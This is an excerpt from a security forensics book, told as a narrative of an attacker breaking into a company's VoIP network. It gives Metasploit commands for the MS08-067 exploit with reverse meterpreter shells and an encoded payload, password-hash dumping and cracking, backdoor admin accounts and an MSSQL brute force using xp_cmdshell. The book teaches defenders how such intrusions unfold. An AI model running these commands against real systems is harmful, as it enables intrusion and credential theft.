The following is an excerpt from the book Unified Communications Forensics written by Nicholas Grant and Joseph W. Shaw II and published by Syngress. This section from chapter 7 reveals how hackers can gain initial access into UC systems and how to scan the network for potential vulnerabilities.
5N|P3R had been having fun with this network and now decided that this VoIP network he was playing with warranted further investigation. He was hoping to gain admin level access to the VoIP server, giving him complete control over their PBX. He also wanted to gain more information about the company along the way, which would come from exploiting as many machines on this network as he could. After all, not only was 5N|P3R interested in VoIP networks, he also wanted to own some machines where he could run C&C Botnets, and do some other nefarious things…
GAINING INITIAL ACCESS
5N|P3R sat staring at his screen, trying to decide on the best method to gain access to this network without raising too many alarms and alerting the administrators and information security group (if they even had one). During 5N|P3R's initial reconnaissance, he had identified about 30 different email addresses; so it had been decided for him: a targeted social engineering email attack would be performed. 5N|P3R started up the Social-Engineer Toolkit (SET) and quickly flew the menu prompts, selecting the options he wanted and adding the email addresses he had identified earlier. 5N|P3R had decided to launch his attack during business hours, thinking that he would have the most success during that time, so he fired off his email attacks at 12:17, thinking that as people returned from lunch they would be clicking on the link he had included within the email. 5N|P3R sat staring at his screen. Three connections popped up on his console. Of the 30 emails he had sent out, 3 had prompted people to click on his malicious link. As soon as they had clicked the link, their machines downloaded a file; when they doubleclicked on this file (which 5N|P3R had crafted) the users were shown a PDF file, but in reality this file had initiated a remote tunnel back to his machine with a command prompt on the victims machines.
Unified Communications Forensics
Authors: Nicholas Grant and Joseph W. Shaw II
Learn more about Unified Communications Forensics from publisher Syngress.
At checkout, use discount code PBTY14 for 25% off
SCANNING THE NETWORK FOR POTENTIAL VULNERABILITIES
5N|P3R quickly dumped the hashes on each of these machines and began searching the machines to see what each of them had installed. Gotcha! 5N|P3R thought to him himself. He had identified one of the machines was running VMware Player. 5N|P3R had cracked some of the passwords from the hash file and was able to log into the machine with a local administrator's password. He quickly downloaded an image of Kali Linux (which is a replacement for backtrack). 5N|P3R extracted the virtual machine's image and booted the Kali machine.
VULNERABILITIES AND EXPLOITS
5N|P3R checked to see what his ip address was and which subnet he was connected to by running the command:
5N|P3R's IP address came back as inet addr:10.0.0.149. 5N|P3R made an educated guess that he was on a /24 subnet and decided to use 10.0.0.0/24 as his subnet.
Discovery Scanning and Identification of Vulnerabilities
Next 5N|P3R quickly fired off an nmap scan to discover what hosts were live on the network to determine what ports on these hosts may be open. 5N|P3R then downloaded Nessus from tenable's Web site at http://www.tenable.com/products/nessus/select-your-operating-system, getting an activation code at http://www.tenable.com/products/nessus/nessus-plugins/obtain-anactivation-code. Then he ran the following commands to install, configure, and start Nessus:
dpkg -i Nessus-5.2.1-debian6_i386.deb
./nessus-fetch --register "QWERTY-XXXXX-XXXXX-XXXXX"
service nessusd start
Next 5N|P3R launched a browser and surfed over to https://kali:8834. He then created a new scan with the live hosts that he found while running his nmap scan.
A handful of possible vulnerabilities were identified.
5N|P3R has been using Metasploit since it was first released many years ago. Now that Backtrack has become Kali linux, there are a few key differences. Kali linux took a departure from Backtrack and no longer starts a bunch of network services at boot, including database services. In order to get Metasploit up and running 5N|P3R had to issue the following commands:
service postgresql start
msfupdate will automatically start the metasploit rpc server: prosvc and Metasploit Web server. If 5N|P3R had already updated his installation of metasploit, he would have used.
service metasploit start
The first time msfconsole is run, the initial metasploit database will be created. If 5N|P3R wished to start metasploit at boot, he could have issued the following commands.
update-rc.d postgresql enable
update-rc.d metasploit enable
To ensure everything with metasploit is working correctly, 5N|P3R issued the following commands from the msf prompt.
msf > db_status
Which then returned:
[*] postgresql connected to ms
Next he created a workspace for his current "project" and connected to it.
workspace -a voip_network
[*] Workspace: voip_network
Any time 5N|P3R wishes to see which workspace he is connected to, he can simply type "workspace" from the msf prompt, which will return all workspaces and include an "*" in front of the currently connected workspace.
There are multiple ways to import data from Nessus. Since 5N|P3R has already installed and run a scan from Nessus, he will just connect directly to Nessus from within metasploit to import the data. Once the Nessus module is loaded, the report_list command will list out scans that are available from with Nessus.
nessus_connect secvoip:secvoip@kali:8834 ok
Once the following commands complete the response, "Done" is returned, letting 5N|P3R know that the command has completed successfully. Next 5N|P3R issues the "Run" command, which lists out hosts that have been imported from Nessus into Metasploit. This command also shows the name of the OS and Version.
5N|P3R remembered some of the critical vulnerabilities he saw listed in Nessus, one of which was that the Windows XP host at 10.0.0.146 looks to be running SP1. As such, he knew that the hosts would most likely be vulnerable to the MS08-067 exploit, so next he issued the following commands in the Metasploit console:
set PAYLOAD windows/meterpreter/reverse_tcp
5N|P3R then issued the commands to set the options for this specific module:
set LPORT 80
He next ran the module to exploit the machine with the
exploit command. Much as 5N|P3R had expected, the module ran and the machine was exploited using the MS08-067 vulnerability, and was greeted with the
meterpreter > shell. He then issued the
sysinfo command to see basic information about the machine he had just owned, then he ran the
hashdump command to dump the hashes on the machine.
Read the full excerpt
Download the PDF of chapter 7 to learn more!
There are many attacks in which these hashes can be used, such as the "pass the hash" attack. But 5N|P3R always likes to have as many options available to him as possible, so he decided to try and crack the passwords of these hashes. He cut and pasted the user names and hash values into a plain text file he named hash.txt. 5N|P3R then used the tool John the Ripper to begin cracking these hashed passwords. Ten minutes later, 5N|P3R checked his console and saw the following output, where the Adminsitrator and secvoip accounts had been cracked. The way Microsoft stores passwords is in two halves, so the Administrator password is gained from combining (Administrator:1) and (Administrator:2) for a password of "anywhere". The same is done with the secvoip account, which reveals the password to be "n3v3rgu3ss." Left running long enough, the other three accounts, Guest, HelpAssistant, and SUPPORT, would eventually have been cracked, but 5N|P3R knows these default accounts will not provide as much access as Administrator and secvoip.
5N|P3R ran through the gambit of post exploitation modules included in Metasploit, but he came up with nothing. So he began searching the exploited system's hard-drive for common files, using the search command in meterpreter. 5N|P3R searched for files with the extension .txt, .pwd, and .vnc on the computer he had just owned. With the command
search -f *.vnc, he received three hits that looked promising. All three hits were for the file named "10.0.0.147.vnc." He quickly ran the command from the meterpreter download
"c:\\\\Documents and Settings\\Administrator\\Desktop\\10.0.0.147.vnc" which downloaded the "10.0.0.147.vnc" file to his local machine.
Looking at the contents of the file, he quickly discovered that this file had the stored password to the vnc server running on the host machine at 10.0.0.0147.
5N|P3R fired up a Windows XP virtual machine and downloaded and installed the tightvnc client. Next he copied the contents of the 10.0.0.147.vnc file, which he had downloaded to his Kali Linux machine. Then he opened up notepad.exe on the XP virtual machine and pasted the contents into the document. 5N|P3R clicked file and saved this file as "10.0.0.147.vnc" to the desktop. 5N|P3R next simply double-clicked on the file he had just created and now had access to this new host at 10.0.0.147.vnc. He opened up a command prompt and ran
ipconfig to make sure he was indeed attached to the host he was expecting. Next he decided to add an account:
net user /add hack password1 and then added his user hack to the local administrator's group:
net localgroup administrators /add hack.
5N|P3R used msfpayload and msfencode to create and encode an executable and then copied this "exploit.exe" file to the host at 10.0.0.147 (The same system which he had just used tightvnc in connect to remotely). The "exploit. exe" once executed would then connect back to his Kali Linux box with a meterpreter shell, so he issued the command for msfcli to listen for the incoming meterpreter connection.
msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.149
msfencode–e x86/shikata_ga_nai–c 2 –t raw | msfencode–e x86/
jmp_call_additive –c 2 –t raw |
msfencode–e x86/call4_dword_xor–c 2 –t raw | msfencode–e x86/
shikata_ga_nai–c 2 > exploit.exe
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_
tcp LHOST=10.0.0.149 LPORT=80 E
After executing his "exploit.exe" file, 5N|P3R received a connection to a meterpreter shell.
5N|P3R then ran the same two commands he always does,
hashdump, and again copied the hashes to a plain text file, and began running john against this new file. He once again began running through the post exploitation modules; however, this time, upon issuing the command
run post/windows/ gather/credentials/mremote he received a user name and password for the machine at 10.0.0.199; which he had previously identified as the PBX VoIP machine that he was ultimately after.
With these new credentials,5N|P3R dropped to a command prompt and issued the command:
5N|P3R then entered the password "pbxadmin" which he had just received while running the post mremote module and was granted root access to the PBX, which also told him that there was a web gui running at http://10.0.0.199 Excellent!!! he thought to himself.
5N|P3R backgrounded the current meterpreter shells he had and decided to take a look at some other services or applications that he might be able to exploit. Noticing that there appeared to be a few instances of SQL running on the network 5N|P3R began a more in-depth scan of these instances . Back at the msf console, he loaded up the mssql_login module and ran it against the entire subnet.
More on UC security from SearchSecurity
Unified communications infrastructure threats and defense strategies
How to avoid VoIP security risks: Forrester's six-step process
UC: Securing the converged infrastructure
5N|P3R now had a listing of all the MSSQL servers, the port each server was running on, and the Instance Name. He knew that one of these would be vulnerable to the xp_cmdshell function, but before he could successfully utilize the xp_cmdshell auxiliary module, he would need to know the sa accounts password. With all the MSSQL servers running on different ports, he would have to try brute-forcing each instance of MSSQL individually. So in Metasploit, he loaded up the brute force module for MSSQL and set the password file:
set PASS_FILE /usr/share/john/password.lst
5N|P3R began to run through the IPs of the MSSQL servers. Setting the RHOST and RPORT values for each server, he started to wonder if he was ever going to find a password with which he would be able to add an account utilizing xp_cmdshell. On the last MSSQL server, he let out a sigh of relief as it returned "successful login."
With all the information needed to utilize the xp_cmdshell to add an account and add that account to the local administrators group, he loaded and set the variables for the mssql_exec module.
set RPORT 53340
set RHOST 10.0.0.148
set PASSWORD Dbmaster123
set cmd net user /add hack hack123
He then issued the
run command and the module's output returned
The command completed successfully.
5N|P3R had successfully added an account named "hack," so he changed the CMD that the module would run, he needed to add his new "hack" account to the local administrators group and successfully ran:
set CMD net localgroup administrators hack /add
Once again he saw: 'The command completed successfully' message returned from the msf console he then ran the command
services -p 3389 and it returned that the machine at 10.0.0.148, which he had just successfully created an account on, already had rdp enabled. 5N|P3R then clicked on "Start" and then "run" and typed in "mstsc.exe" and pressed "enter" on his Windows XP virtual machine. He was greeted with a login prompt; he entered "hack" for the username and "hack123" for the password and pressed "enter." He was then logged into the 10.0.0.148 machine.
5N|P3R began browsing the local machine's directories (as he had added his "hack" user account to the local administrators group); he was able to look through each user's files on this machine. On the desktop of the Administrator's Desktop, he found a PBXADMINTOOLS directory which contained putty and a batch file. Opening the voipserver.bat file 5N|P3R found that it was a simple batch file which launched putty, but the creator had stored the settings along with the password for root on the PBX server.
About the authors:
Nicholas Grant is an information security professional with over ten years of experience within the industry. He holds a CISSP and has an M.S. in Management of Information Systems Security from Colorado Technical Institute. He works as a Vulnerability Manager for a large financial institution and is a professor, teaching Bachelor's and Associate-level courses at a nationally accredited university.
Joseph W. Shaw II (CISM, CISSP, EnCE, GAWN) has been working in Information Security for over 18 years, with experience in industry verticals including telecommunications, energy, luxury retail, legal, and healthcare. He is now a consultant for a large worldwide professional services company, where he provides expertise in Digital Forensics with an emphasis on incident response, malware analysis and reverse engineering, vulnerability assessment, penetration testing, and security even and incident management.